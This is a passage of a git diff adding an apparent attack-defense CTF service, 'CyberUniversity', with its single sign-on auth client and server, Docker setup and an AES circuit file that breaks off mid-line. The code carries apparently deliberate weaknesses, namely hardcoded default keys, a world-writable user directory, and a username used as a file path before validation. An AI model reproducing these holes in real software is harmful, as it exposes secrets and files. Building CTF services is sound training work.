[service2-store3-vuln2-viewexam.py](/exploits/service2-store3-vuln2-viewexam.py) | + +## Build + +Dependencies: + +- Crypto++ (https://cryptopp.svn.sourceforge.net/svnroot/cryptopp/trunk/c5) +- Rapidjson (https://rapidjson.org/) + +Build Crypto++ with the provided Makefile, being sure that you compile with -fPIC (true by default for most OS in the Makefile, tested on Ubuntu 20.04). Note: the version distributed via apt is not compiled with -fPIC. + +Build the Python library with `g++ -Wall -shared -std=c++11 -fPIC $(python3 -m pybind11 --includes) authlib.cpp -o authlib$(python3-config --extension-suffix) -L. -l:libcryptopp.a` diff --git a/services/service2/service/README.md b/services/service2/service/README.md new file mode 100644 index 0000000..1d12306 --- /dev/null +++ b/services/service2/service/README.md @@ -0,0 +1,25 @@ +# CyberUniversity infrastructure + +The modern CyberUni has adopted a Single Sign-On authentication model for all of its applications! + +In order to interact with each of the three applications you will need a token, which can be obtained from the central Authentication Service. + +## Authentication Service + +The central AuthService lets you register users and get login tokens for all the other applications. There is an example client for reference using the pwntools Python's library, but you are free to create your own. + +The core library for authentication is authlib, provided for all python versions from 3.8 to 3.11. + +## ExamNotes + +This application, after authentication with the token, let you save, read and list plaintext notes, that will be accessible only to you. + +## EncryptedNotes + +This is an application that lets you run functions on encrypted data. After logging in, you can set some private keyword and data, or run functions with other users' keywords as input. + +You can find an example client that sets up a user, or evaluates the two functions. + +## ExamPortal + +This is the website where online exams are graded. After logging in with the token, you can take part in an exam and answer its questions; the exam will be passed only if you answer correctly to all the questions. diff --git a/services/service2/service/auth_service/Dockerfile b/services/service2/service/auth_service/Dockerfile new file mode 100644 index 0000000..dc9e81e --- /dev/null +++ b/services/service2/service/auth_service/Dockerfile @@ -0,0 +1,22 @@ +FROM ubuntu:20.04 + +RUN apt update \ + && apt install -y python3 python3-dev socat python3-pip gcc g++ make libffi-dev + +RUN useradd --no-create-home --shell /bin/false --uid 1000 --user-group srv + +ADD authlib.cpython-38-x86_64-linux-gnu.so /service/server/ +ADD server.py user_handlers.py /service/server/ + +WORKDIR /service/server +RUN mkdir users +RUN chmod +x server.py +RUN chmod -R 777 users + +USER srv +ENV MasterKey="AuthenticationSystemMasterKey000" +ENV ExamNotesKey="ExamNotesAppDefaultKey0000000000" +ENV EncryptedNotesKey="EncryptedNotesAppDefaultKey00000" +ENV ExamPortalKey="ExamPortalAppDefaultKey000000000" + +ENTRYPOINT socat -d TCP-LISTEN:8000,reuseaddr,fork EXEC:'timeout -k 5 30 python3 -u server.py' diff --git a/services/service2/service/auth_service/authlib.cpython-310-x86_64-linux-gnu.so b/services/service2/service/auth_service/authlib.cpython-310-x86_64-linux-gnu.so new file mode 100644 index 0000000..320e7a8 Binary files /dev/null and b/services/service2/service/auth_service/authlib.cpython-310-x86_64-linux-gnu.so differ diff --git a/services/service2/service/auth_service/authlib.cpython-311-x86_64-linux-gnu.so b/services/service2/service/auth_service/authlib.cpython-311-x86_64-linux-gnu.so new file mode 100644 index 0000000..f5ed988 Binary files /dev/null and b/services/service2/service/auth_service/authlib.cpython-311-x86_64-linux-gnu.so differ diff --git a/services/service2/service/auth_service/authlib.cpython-38-x86_64-linux-gnu.so b/services/service2/service/auth_service/authlib.cpython-38-x86_64-linux-gnu.so new file mode 100644 index 0000000..fd8b032 Binary files /dev/null and b/services/service2/service/auth_service/authlib.cpython-38-x86_64-linux-gnu.so differ diff --git a/services/service2/service/auth_service/authlib.cpython-39-x86_64-linux-gnu.so b/services/service2/service/auth_service/authlib.cpython-39-x86_64-linux-gnu.so new file mode 100644 index 0000000..e68db96 Binary files /dev/null and b/services/service2/service/auth_service/authlib.cpython-39-x86_64-linux-gnu.so differ diff --git a/services/service2/service/auth_service/client.py b/services/service2/service/auth_service/client.py new file mode 100644 index 0000000..1759694 --- /dev/null +++ b/services/service2/service/auth_service/client.py @@ -0,0 +1,158 @@ +from pwn import * +import authlib +import sys +import string + +context.log_level = "error" + +PORT = 1234 + +SERVICES = { + "ExamNotes": "1", + "EncryptedNotes": "2", + "ExamPortal": "3" +} + +banner = """ +============================================== +| | +| .odbo. | +| .od88888888bo. | +| .od8888888888888888bo. | +| .od888888888888888888888888bo. | +| od88888888888888888888888888888888bo | +| `~888888888888888888888888888888~' | +| `~888888888888888888888888~'| | +| `~888888888888888888~' | | +| |`~888888888888~'| | | +| \ `~888888~' / A | +| `-_ `~~' _-' H | +| `--____--' | +| | +| ooo, .---. | +| o` o / |\________________ | +| o` 'oooo() | ________ _ _) | +| `oo o` \ |/ | | | | | +| `ooo' `---' "-" |_| | +| | +============================================== +""" + +ALPH = string.ascii_letters + string.digits + +if len(sys.argv) != 2: + print('Usage: python3 client.py ') + exit(1) + +def validate_string(s): + return all([c in ALPH for c in s]) and len(s) > 7 and len(s) < 65 + +class Client(): + def __init__(self, server_ip, username, password, service): + self.server_addr = server_ip + self.server_port = PORT + self.username = username + self.password = password + self.service = service + self.auth_token = None + self.shared_key = None + + def open_connection(self): + s = remote(self.server_addr, self.server_port) + assert s.recvline(False) == b"HELLO" + s.sendline(b"HELLO") + assert s.recvline(False) == b"OK" + return s + + def register(self): + s = self.open_connection() + s.sendline(b"REG") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(self.password.encode()) + resp = s.recvline(False) + s.close() + if resp != b"OK": + return False + return True + + def login(self): + auth = authlib.AuthClient(self.username, self.password) + initial_values = auth.get_starting_values() + s = self.open_connection() + s.sendline(b"AUTH") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(initial_values.encode()) + intermediate_values = s.recvline(False).decode() + final_values = auth.get_final_values(intermediate_values) + s.sendline(final_values.encode()) + self.auth_token = s.recvline(False).decode() + self.shared_key = auth.get_shared_key() + s.close() + return True + + def get_token(self): + token_client = authlib.TicketClient(self.username, self.service, self.auth_token, self.shared_key) + user_token = token_client.get_user_token() + s = self.open_connection() + s.sendline(b"TOKEN") + assert s.recvline(False) == b"OK" + s.sendline(user_token.encode() + b"." + self.auth_token.encode()) + key_token, service_token = s.recvline(False).decode().split(".") + s.close() + return token_client.finalize_token(key_token, service_token) + +try: + print() + print(banner) + print() + print("Welcome to the CyberUni™ authentication system, what do you want to do?") + print("1. Register a new account") + print("2. Obtain a login token for a service") + print("0. Exit") + + choice = int(input("> ")) + if choice not in [0,1,2]: + print("I don't know that command...") + elif choice == 0: + print("Bye!") + else: + service_number = None + username = input("Username: ").strip() + assert validate_string(username), "username must contain at least 8 characters and at most 64. Only letters and digits allowed!" + password = input("Password: ").strip() + assert validate_string(password), "password must contain at least 8 characters and at most 64. Only letters and digits allowed!" + if choice == 2: + print() + print("Available services:") + + for s in SERVICES: + print(f"- {s}") + + print() + service = input("Choose the service you want to connect to: ").strip() + assert service in SERVICES, "service not recognized." + service_number = SERVICES[service] + + c = Client(sys.argv[1], username, password, service_number) + + if choice == 1: + c.register() + else: + resp = c.login() + if resp: + token = c.get_token() + print(f"You can login to the service {service} using the token {token}") + else: + print("Login failed") + +except Exception as e: + print(f"It seems that something bad just happened: {e}") + print("Please try again later!") diff --git a/services/service2/service/auth_service/server.py b/services/service2/service/auth_service/server.py new file mode 100644 index 0000000..e41d895 --- /dev/null +++ b/services/service2/service/auth_service/server.py @@ -0,0 +1,98 @@ +import authlib +import user_handlers +import string +import os +import sys + +AUTH_KEY = os.environ["MasterKey"] +SERVICE_KEYS = [os.environ["ExamNotesKey"], os.environ["EncryptedNotesKey"], os.environ["ExamPortalKey"]] + +ALPH = string.ascii_letters + string.digits + +available_commands = ["AUTH", "TOKEN", "REG"] + +def validate_string(s): + return all([c in ALPH for c in s]) and len(s) > 7 and len(s) < 65 + +class Server(): + def __init__(self): + pass + + def handle_ack(self): + print("HELLO") + assert input().strip() == "HELLO" + print("OK") + + def get_user_choice(self): + req = input().strip() + if req in available_commands: + print("OK") + return req + print("BAD") + return + + def handle_registration(self): + username = input().strip() + if not validate_string(username): + print("BAD_USER") + return + + print("OK") + password = input().strip() + + if not validate_string(password): + print("BAD_PSW") + return + + chk = user_handlers.add_user(username, password) + + if chk: + print("OK") + else: + print("USER_EXISTS") + + + def handle_login(self): + username = input().strip() + h = user_handlers.retrieve_secret_by_username(username) + + if h is None: + return "BAD" + + auth = authlib.AuthService(username, h, AUTH_KEY) + + if not validate_string(username): + return "BAD" + print("OK") + + initial_values = input().strip() + intermediate_values = auth.get_values(initial_values) + print(intermediate_values) + final_values = input().strip() + + return auth.finalize_token(final_values) + + def handle_token(self): + ticket_service = authlib.TicketService(AUTH_KEY, SERVICE_KEYS) + user_token, auth_token = input().strip().split(".") + + key_token, service_token = ticket_service.get_service_tokens(user_token, auth_token) + print(key_token + "." + service_token) + + +try: + s = Server() + + s.handle_ack() + choice = s.get_user_choice() + + if choice == "AUTH": + auth_token = s.handle_login() + print(auth_token) + elif choice == "TOKEN": + s.handle_token() + elif choice == "REG": + s.handle_registration() +except Exception as e: + print(e, file=sys.stderr) + print("BAD") diff --git a/services/service2/service/auth_service/user_handlers.py b/services/service2/service/auth_service/user_handlers.py new file mode 100644 index 0000000..99a67a5 --- /dev/null +++ b/services/service2/service/auth_service/user_handlers.py @@ -0,0 +1,21 @@ +import os +import authlib + +base_path = "users" + +def add_user(username, password): + try: + secret = authlib.get_secret(password) + with open(os.path.join(base_path, username), "x") as f: + f.write(secret) + return True + except FileExistsError: + return False + +def retrieve_secret_by_username(username): + try: + with open(os.path.join(base_path, username), "r") as f: + return f.read().strip() + return True + except FileNotFoundError: + return False diff --git a/services/service2/service/deploy.sh b/services/service2/service/deploy.sh new file mode 100755 index 0000000..39dca44 --- /dev/null +++ b/services/service2/service/deploy.sh @@ -0,0 +1,11 @@ +#!/bin/bash + +set -e; +DB_PASS=$(hexdump -vn16 -e'4/4 "%08X" 1 "\n"' /dev/urandom); + +if [[ ! -f ".env" ]] +then + echo "DB_PASS=${DB_PASS}" > .env +fi + +docker-compose up --build --remove-orphans -d diff --git a/services/service2/service/docker-compose.yml b/services/service2/service/docker-compose.yml new file mode 100644 index 0000000..e3bb35d --- /dev/null +++ b/services/service2/service/docker-compose.yml @@ -0,0 +1,50 @@ +version: "3" + +services: + examportal-db: + image: mysql + container_name: "examportal-db" + environment: + MYSQL_ROOT_PASSWORD: "${DB_PASS}" + MYSQL_DATABASE: examportal + MYSQL_ROOT_HOST: "%" + command: ["--default-authentication-plugin=mysql_native_password"] + restart: unless-stopped + volumes: + - ./examportal/db/init:/docker-entrypoint-initdb.d + - ./examportal/db/data:/var/lib/mysql + + auth_service: + build: ./auth_service + container_name: "auth_service" + ports: + - "0.0.0.0:1234:8000" + restart: unless-stopped + + examnotes: + build: ./examnotes + container_name: "examnotes" + ports: + - "0.0.0.0:1235:8000" + restart: unless-stopped + + encryptednotes: + build: ./encryptednotes + container_name: "encryptednotes" + ports: + - "0.0.0.0:1236:8000" + restart: unless-stopped + + examportal: + build: ./examportal + container_name: "examportal" + environment: + DBHOST: examportal-db + DBUSER: root + DBPASS: "${DB_PASS}" + DBNAME: examportal + ports: + - "0.0.0.0:1237:80" + restart: unless-stopped + depends_on: + - examportal-db diff --git a/services/service2/service/encryptednotes/Dockerfile b/services/service2/service/encryptednotes/Dockerfile new file mode 100644 index 0000000..806c2ff --- /dev/null +++ b/services/service2/service/encryptednotes/Dockerfile @@ -0,0 +1,14 @@ +FROM ubuntu:20.04 + +RUN apt-get update && apt-get install -y python3 python3-dev socat python3-pip + +WORKDIR /service/server +COPY app/requirements.txt . +RUN pip install -r ./requirements.txt + +COPY app . +RUN mkdir -p /service/server/data && chown -R nobody /service/server +USER nobody +ENV EncryptedNotesKey="EncryptedNotesAppDefaultKey00000" + +ENTRYPOINT socat -d TCP-LISTEN:8000,reuseaddr,fork EXEC:'python3 server.py' diff --git a/services/service2/service/encryptednotes/__init__.py b/services/service2/service/encryptednotes/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/services/service2/service/encryptednotes/app/aes_128.txt b/services/service2/service/encryptednotes/app/aes_128.txt new file mode 100644 index 0000000..86262f0 --- /dev/null +++ b/services/service2/service/encryptednotes/app/aes_128.txt @@ -0,0 +1,36667 @@ +36663 36919 +2 128 128 +1 128 + +2 1 128 0 33254 XOR +2 1 129 1 33255 XOR +2 1 130 2 33256 XOR +2 1 131 3 33257 XOR +2 1 132 4 33258 XOR +2 1 133 5 33259 XOR +2 1 134 6 33260 XOR +2 1 135 7 33261 XOR +2 1 136 8 33262 XOR +2 1 137 9 33263 XOR +2 1 138 10 33264 XOR +2 1 139 11 33265 XOR +2 1 140 12 33266 XOR +2 1 141 13 33267 XOR +2 1 142 14 33268 XOR +2 1 143 15 33269 XOR +2 1 144 16 33270 XOR +2 1 145 17 33271 XOR +2 1 146 18 33272 XOR +2 1 147 19 33273 XOR +2 1 148 20 33274 XOR +2 1 149 21 33275 XOR +2 1 150 22 33276 XOR +2 1 151 23 33277 XOR +2 1 152 24 33278 XOR +2 1 153 25 33279 XOR +2 1 154 26 33280 XOR +2 1 155 27 33281 XOR +2 1 156 28 33282 XOR +2 1 157 29 33283 XOR +2 1 158 30 33284 XOR +2 1 159 31 33285 XOR +2 1 160 32 33286 XOR +2 1 161 33 33287 XOR +2 1 162 34 33288 XOR +2 1 163 35 33289 XOR +2 1 164 36 33290 XOR +2 1 165 37 33291 XOR +2 1 166 38 33292 XOR +2 1 167 39 33293 XOR +2 1 168 40 33294 XOR +2 1 169 41 33295 XOR +2 1 170 42 33296 XOR +2 1 171 43 33297 XOR +2 1 172 44 33298 XOR +2 1 173 45 33299 XOR +2 1 174 46 33300 XOR +2 1 175 47 33301 XOR +2 1 176 48 33302 XOR +2 1 177 49 33303 XOR +2 1 178 50 33304 XOR +2 1 179 51 33305 XOR +2 1 180 52 33306 XOR +2 1 181 53 33307 XOR +2 1 182 54 33308 XOR +2 1 183 55 33309 XOR +2 1 184 56 33310 XOR +2 1 185 57 33311 XOR +2 1 186 58 33312 XOR +2 1 187 59 33313 XOR +2 1 188 60 33314 XOR +2 1 189 61 33315 XOR +2 1 190 62 33316 XOR +2 1 191 63 33317 XOR +2 1 192 64 33318 XOR +2 1 193 65 33319 XOR +2 1 194 66 33320 XOR +2 1 195 67 33321 XOR +2 1 196 68 33322 XOR +2 1 197 69 33323 XOR +2 1 198 70 33324 XOR +2 1 199 71 33325 XOR +2 1 200 72 33326 XOR +2 1 201 73 33327 XOR +2 1 202 74 33328 XOR +2 1 203 75 33329 XOR +2 1 204 76 33330 XOR +2 1 205 77 33331 XOR +2 1 206 78 33332 XOR +2 1 207 79 33333 XOR +2 1 208 80 33334 XOR +2 1 209 81 33335 XOR +2 1 210 82 33336 XOR +2 1 211 83 33337 XOR +2 1 212 84 33338 XOR +2 1 213 85 33339 XOR +2 1 214 86 33340 XOR +2 1 215 87 33341 XOR +2 1 216 88 33342 XOR +2 1 217 89 33343 XOR +2 1 218 90 33344 XOR +2 1 219 91 33345 XOR +2 1 220 92 33346 XOR +2 1 221 93 33347 XOR +2 1 222 94 33348 XOR +2 1 223 95 33349 XOR +2 1 224 96 33350 XOR +2 1 225 97 33351 XOR +2 1 226 98 33352 XOR +2 1 227 99 33353 XOR +2 1 228 100 33354 XOR +2 1 229 101 33355 XOR +2 1 230 102 33356 XOR +2 1 231 103 33357 XOR +2 1 232 104 33358 XOR +2 1 233 105 33359 XOR +2 1 234 106 33360 XOR +2 1 235 107 33361 XOR +2 1 236 108 33362 XOR +2 1 237 109 33363 XOR +2 1 238 110 33364 XOR +2 1 239 111 33365 XOR +2 1 240 112 33366 XOR +2 1 241 113 33367 XOR +2 1 242 114 33368 XOR +2 1 243 115 33369 XOR +2 1 244 116 33370 XOR +2 1 245 117 33371 XOR +2 1 246 118 33372 XOR +2 1 247 119 33373 XOR +2 1 248 120 33374 XOR +2 1 249 121 33375 XOR +2 1 250 122 33376 XOR +2 1 251 123 33377 XOR +2 1 252 124 33378 XOR +2 1 253 125 33379 XOR +2 1 254 126 33380 XOR +2 1 255 127 33381 XOR +2 1 33271 33273 3456 XOR +2 1 33275 33277 3457 XOR +2 1 33272 3456 3458 XOR +2 1 33276 3458 3539 XOR +2 1 33275 3458 3536 XOR +2 1 33274 33276 3459 XOR +2 1 33270 33276 3463 XOR +2 1 3463 3458 3538 XOR +2 1 33274 33277 3550 XOR +2 1 3457 3463 3545 XOR +2 1 3456 3550 3542 XOR +2 1 33270 3542 3541 XOR +2 1 33271 33272 3473 XOR +2 1 3473 3545 3543 XOR +2 1 3550 3473 3546 XOR +2 1 33272 33274 3552 XOR +2 1 3457 3552 3537 XOR +2 1 33275 3463 3548 XOR +2 1 33271 3548 3544 XOR +2 1 33273 33272 3433 XOR +2 1 3459 3457 3419 XOR +2 1 3456 3419 3540 XOR +2 1 3459 33275 3418 XOR +2 1 33270 3418 3547 XOR +2 1 33277 33271 3551 XOR +2 1 33277 33272 3549 XOR +2 1 3542 3546 3535 AND +2 1 3535 3459 3462 XOR +2 1 3543 3541 3534 AND +2 1 3547 33270 3533 AND +2 1 3551 3536 3532 AND +2 1 3532 3457 3461 XOR +2 1 3548 3544 3531 AND +2 1 3545 3538 3530 AND +2 1 3550 3539 3529 AND +2 1 3529 3458 3460 XOR +2 1 3462 3460 3466 XOR +2 1 33277 3466 3471 XOR +2 1 3552 3537 3528 AND +2 1 3528 3534 3480 XOR +2 1 3480 3471 3526 XOR +2 1 3528 3529 3432 XOR +2 1 3432 3433 3479 XOR +2 1 3479 3461 3478 XOR +2 1 3531 3478 3525 XOR +2 1 3549 3540 3527 AND +2 1 3527 3530 3481 XOR +2 1 3527 3533 3485 XOR +2 1 3485 3457 3472 XOR +2 1 3480 3472 3523 XOR +2 1 3528 3481 3475 XOR +2 1 3461 3481 3435 XOR +2 1 3435 3460 3524 XOR +2 1 3466 3485 3434 XOR +2 1 33275 3434 3477 XOR +2 1 3531 3475 3431 XOR +2 1 33271 3431 3518 XOR +2 1 3526 3525 3522 AND +2 1 3522 3477 3517 XOR +2 1 3522 3524 3521 XOR +2 1 3523 3521 3520 AND +2 1 3520 3477 3519 XOR +2 1 3520 3532 3426 XOR +2 1 3426 3462 3422 XOR +2 1 33277 3422 3425 XOR +2 1 3520 3471 3423 XOR +2 1 33275 3422 3421 XOR +2 1 3517 3518 3516 AND +2 1 3516 3524 3515 XOR +2 1 3522 3516 3514 XOR +2 1 3516 3475 3430 XOR +2 1 3516 3533 3429 XOR +2 1 3429 3530 3424 XOR +2 1 3424 3425 3507 XOR +2 1 3524 3514 3513 AND +2 1 3513 3521 3511 XOR +2 1 3513 3531 3484 XOR +2 1 3484 3478 3505 XOR +2 1 33271 3484 3467 XOR +2 1 3467 3430 3512 XOR +2 1 3519 3511 3510 AND +2 1 3510 3480 3470 XOR +2 1 3470 3472 3509 XOR +2 1 3510 3534 3428 XOR +2 1 3467 3428 3420 XOR +2 1 3457 3420 3427 XOR +2 1 3424 3427 3508 XOR +2 1 3470 3423 3506 XOR +2 1 3420 3421 3504 XOR +2 1 3505 3542 3503 AND +2 1 3512 3541 3502 AND +2 1 3515 33270 3501 AND +2 1 3501 3503 3483 XOR +2 1 3506 3536 3500 AND +2 1 3509 3548 3499 AND +2 1 3519 3538 3498 AND +2 1 3498 3499 3437 XOR +2 1 3507 3539 3497 AND +2 1 3504 3537 3496 AND +2 1 3496 3499 3452 XOR +1 1 3452 3449 INV +2 1 3496 3497 3448 XOR +2 1 3508 3540 3495 AND +2 1 3505 3546 3494 AND +2 1 3512 3543 3493 AND +2 1 3515 3547 3492 AND +2 1 3506 3551 3491 AND +2 1 3491 3495 3468 XOR +2 1 3500 3491 3453 XOR +1 1 3468 3446 INV +2 1 3509 3544 3490 AND +2 1 3498 3490 3455 XOR +2 1 3519 3545 3489 AND +2 1 3446 3489 3445 XOR +2 1 3445 3483 3441 XOR +2 1 3507 3550 3488 AND +2 1 3488 3441 3444 XOR +2 1 3504 3552 3487 AND +2 1 3487 3488 3482 XOR +2 1 3493 3482 3464 XOR +2 1 3494 3464 3465 XOR +2 1 3502 3465 3469 XOR +2 1 3503 3469 3474 XOR +2 1 3455 3482 3451 XOR +2 1 3483 3451 3454 XOR +2 1 3453 3454 3556 XOR +2 1 3446 3451 3450 XOR +2 1 3449 3450 3555 XOR +2 1 3474 3448 3554 XOR +2 1 3464 3441 3440 XOR +2 1 3501 3469 3438 XOR +2 1 3437 3438 34820 XOR +2 1 3508 3549 3486 AND +2 1 3497 3486 3447 XOR +1 1 3447 3443 INV +2 1 3443 3444 3553 XOR +2 1 33279 33281 3595 XOR +2 1 33283 33285 3596 XOR +2 1 33280 3595 3597 XOR +2 1 33284 3597 3678 XOR +2 1 33283 3597 3675 XOR +2 1 33282 33284 3598 XOR +2 1 33278 33284 3602 XOR +2 1 3602 3597 3677 XOR +2 1 33282 33285 3689 XOR +2 1 3596 3602 3684 XOR +2 1 3595 3689 3681 XOR +2 1 33278 3681 3680 XOR +2 1 33279 33280 3612 XOR +2 1 3612 3684 3682 XOR +2 1 3689 3612 3685 XOR +2 1 33280 33282 3691 XOR +2 1 3596 3691 3676 XOR +2 1 33283 3602 3687 XOR +2 1 33279 3687 3683 XOR +2 1 33281 33280 3572 XOR +2 1 3598 3596 3558 XOR +2 1 3595 3558 3679 XOR +2 1 3598 33283 3557 XOR +2 1 33278 3557 3686 XOR +2 1 33285 33279 3690 XOR +2 1 33285 33280 3688 XOR +2 1 3681 3685 3674 AND +2 1 3674 3598 3601 XOR +2 1 3682 3680 3673 AND +2 1 3686 33278 3672 AND +2 1 3690 3675 3671 AND +2 1 3671 3596 3600 XOR +2 1 3687 3683 3670 AND +2 1 3684 3677 3669 AND +2 1 3689 3678 3668 AND +2 1 3668 3597 3599 XOR +2 1 3601 3599 3605 XOR +2 1 33285 3605 3610 XOR +2 1 3691 3676 3667 AND +2 1 3667 3673 3619 XOR +2 1 3619 3610 3665 XOR +2 1 3667 3668 3571 XOR +2 1 3571 3572 3618 XOR +2 1 3618 3600 3617 XOR +2 1 3670 3617 3664 XOR +2 1 3688 3679 3666 AND +2 1 3666 3669 3620 XOR +2 1 3666 3672 3624 XOR +2 1 3624 3596 3611 XOR +2 1 3619 3611 3662 XOR +2 1 3667 3620 3614 XOR +2 1 3600 3620 3574 XOR +2 1 3574 3599 3663 XOR +2 1 3605 3624 3573 XOR +2 1 33283 3573 3616 XOR +2 1 3670 3614 3570 XOR +2 1 33279 3570 3657 XOR +2 1 3665 3664 3661 AND +2 1 3661 3616 3656 XOR +2 1 3661 3663 3660 XOR +2 1 3662 3660 3659 AND +2 1 3659 3616 3658 XOR +2 1 3659 3671 3565 XOR +2 1 3565 3601 3561 XOR +2 1 33285 3561 3564 XOR +2 1 3659 3610 3562 XOR +2 1 33283 3561 3560 XOR +2 1 3656 3657 3655 AND +2 1 3655 3663 3654 XOR +2 1 3661 3655 3653 XOR +2 1 3655 3614 3569 XOR +2 1 3655 3672 3568 XOR +2 1 3568 3669 3563 XOR +2 1 3563 3564 3646 XOR +2 1 3663 3653 3652 AND +2 1 3652 3660 3650 XOR +2 1 3652 3670 3623 XOR +2 1 3623 3617 3644 XOR +2 1 33279 3623 3606 XOR +2 1 3606 3569 3651 XOR +2 1 3658 3650 3649 AND +2 1 3649 3619 3609 XOR +2 1 3609 3611 3648 XOR +2 1 3649 3673 3567 XOR +2 1 3606 3567 3559 XOR +2 1 3596 3559 3566 XOR +2 1 3563 3566 3647 XOR +2 1 3609 3562 3645 XOR +2 1 3559 3560 3643 XOR +2 1 3644 3681 3642 AND +2 1 3651 3680 3641 AND +2 1 3654 33278 3640 AND +2 1 3640 3642 3622 XOR +2 1 3645 3675 3639 AND +2 1 3648 3687 3638 AND +2 1 3658 3677 3637 AND +2 1 3637 3638 3576 XOR +2 1 3646 3678 3636 AND +2 1 3643 3676 3635 AND +2 1 3635 3638 3591 XOR +1 1 3591 3588 INV +2 1 3635 3636 3587 XOR +2 1 3647 3679 3634 AND +2 1 3644 3685 3633 AND +2 1 3651 3682 3632 AND +2 1 3654 3686 3631 AND +2 1 3645 3690 3630 AND +2 1 3630 3634 3607 XOR +2 1 3639 3630 3592 XOR +1 1 3607 3585 INV +2 1 3648 3683 3629 AND +2 1 3637 3629 3594 XOR +2 1 3658 3684 3628 AND +2 1 3585 3628 3584 XOR +2 1 3584 3622 3580 XOR +2 1 3646 3689 3627 AND +2 1 3627 3580 3583 XOR +2 1 3643 3691 3626 AND +2 1 3626 3627 3621 XOR +2 1 3632 3621 3603 XOR +2 1 3633 3603 3604 XOR +2 1 3641 3604 3608 XOR +2 1 3642 3608 3613 XOR +2 1 3594 3621 3590 XOR +2 1 3622 3590 3593 XOR +2 1 3592 3593 3695 XOR +2 1 3585 3590 3589 XOR +2 1 3588 3589 3694 XOR +2 1 3613 3587 3693 XOR +2 1 3603 3580 3579 XOR +2 1 3640 3608 3577 XOR +2 1 3576 3577 34806 XOR +2 1 3647 3688 3625 AND +2 1 3636 3625 3586 XOR +1 1 3586 3582 INV +2 1 3582 3583 3692 XOR +1 1 3693 34808 INV +2 1 33287 33289 3734 XOR +2 1 33291 33293 3735 XOR +2 1 33288 3734 3736 XOR +2 1 33292 3736 3817 XOR +2 1 33291 3736 3814 XOR +2 1 33290 33292 3737 XOR +2 1 33286 33292 3741 XOR +2 1 3741 3736 3816 XOR +2 1 33290 33293 3828 XOR +2 1 3735 3741 3823 XOR +2 1 3734 3828 3820 XOR +2 1 33286 3820 3819 XOR +2 1 33287 33288 3751 XOR +2 1 3751 3823 3821 XOR +2 1 3828 3751 3824 XOR +2 1 33288 33290 3830 XOR +2 1 3735 3830 3815 XOR +2 1 33291 3741 3826 XOR +2 1 33287 3826 3822 XOR +2 1 33289 33288 3711 XOR +2 1 3737 3735 3697 XOR +2 1 3734 3697 3818 XOR +2 1 3737 33291 3696 XOR +2 1 33286 3696 3825 XOR +2 1 33293 33287 3829 XOR +2 1 33293 33288 3827 XOR +2 1 3820 3824 3813 AND +2 1 3813 3737 3740 XOR +2 1 3821 3819 3812 AND +2 1 3825 33286 3811 AND +2 1 3829 3814 3810 AND +2 1 3810 3735 3739 XOR +2 1 3826 3822 3809 AND +2 1 3823 3816 3808 AND +2 1 3828 3817 3807 AND +2 1 3807 3736 3738 XOR +2 1 3740 3738 3744 XOR +2 1 33293 3744 3749 XOR +2 1 3830 3815 3806 AND +2 1 3806 3812 3758 XOR +2 1 3758 3749 3804 XOR +2 1 3806 3807 3710 XOR +2 1 3710 3711 3757 XOR +2 1 3757 3739 3756 XOR +2 1 3809 3756 3803 XOR +2 1 3827 3818 3805 AND +2 1 3805 3808 3759 XOR +2 1 3805 3811 3763 XOR +2 1 3763 3735 3750 XOR +2 1 3758 3750 3801 XOR +2 1 3806 3759 3753 XOR +2 1 3739 3759 3713 XOR +2 1 3713 3738 3802 XOR +2 1 3744 3763 3712 XOR +2 1 33291 3712 3755 XOR +2 1 3809 3753 3709 XOR +2 1 33287 3709 3796 XOR +2 1 3804 3803 3800 AND +2 1 3800 3755 3795 XOR +2 1 3800 3802 3799 XOR +2 1 3801 3799 3798 AND +2 1 3798 3755 3797 XOR +2 1 3798 3810 3704 XOR +2 1 3704 3740 3700 XOR +2 1 33293 3700 3703 XOR +2 1 3798 3749 3701 XOR +2 1 33291 3700 3699 XOR +2 1 3795 3796 3794 AND +2 1 3794 3802 3793 XOR +2 1 3800 3794 3792 XOR +2 1 3794 3753 3708 XOR +2 1 3794 3811 3707 XOR +2 1 3707 3808 3702 XOR +2 1 3702 3703 3785 XOR +2 1 3802 3792 3791 AND +2 1 3791 3799 3789 XOR +2 1 3791 3809 3762 XOR +2 1 3762 3756 3783 XOR +2 1 33287 3762 3745 XOR +2 1 3745 3708 3790 XOR +2 1 3797 3789 3788 AND +2 1 3788 3758 3748 XOR +2 1 3748 3750 3787 XOR +2 1 3788 3812 3706 XOR +2 1 3745 3706 3698 XOR +2 1 3735 3698 3705 XOR +2 1 3702 3705 3786 XOR +2 1 3748 3701 3784 XOR +2 1 3698 3699 3782 XOR +2 1 3783 3820 3781 AND +2 1 3790 3819 3780 AND +2 1 3793 33286 3779 AND +2 1 3779 3781 3761 XOR +2 1 3784 3814 3778 AND +2 1 3787 3826 3777 AND +2 1 3797 3816 3776 AND +2 1 3776 3777 3715 XOR +2 1 3785 3817 3775 AND +2 1 3782 3815 3774 AND +2 1 3774 3777 3730 XOR +1 1 3730 3727 INV +2 1 3774 3775 3726 XOR +2 1 3786 3818 3773 AND +2 1 3783 3824 3772 AND +2 1 3790 3821 3771 AND +2 1 3793 3825 3770 AND +2 1 3784 3829 3769 AND +2 1 3769 3773 3746 XOR +2 1 3778 3769 3731 XOR +1 1 3746 3724 INV +2 1 3787 3822 3768 AND +2 1 3776 3768 3733 XOR +2 1 3797 3823 3767 AND +2 1 3724 3767 3723 XOR +2 1 3723 3761 3719 XOR +2 1 3785 3828 3766 AND +2 1 3766 3719 3722 XOR +2 1 3782 3830 3765 AND +2 1 3765 3766 3760 XOR +2 1 3771 3760 3742 XOR +2 1 3772 3742 3743 XOR +2 1 3780 3743 3747 XOR +2 1 3781 3747 3752 XOR +2 1 3733 3760 3729 XOR +2 1 3761 3729 3732 XOR +2 1 3731 3732 3834 XOR +2 1 3724 3729 3728 XOR +2 1 3727 3728 3833 XOR +2 1 3752 3726 3832 XOR +2 1 3742 3719 3718 XOR +2 1 3779 3747 3716 XOR +2 1 3715 3716 34791 XOR +2 1 3786 3827 3764 AND +2 1 3775 3764 3725 XOR +1 1 3725 3721 INV +2 1 3721 3722 3831 XOR +2 1 33295 33297 3873 XOR +2 1 33299 33301 3874 XOR +2 1 33296 3873 3875 XOR +2 1 33300 3875 3957 XOR +2 1 33299 3875 3954 XOR +2 1 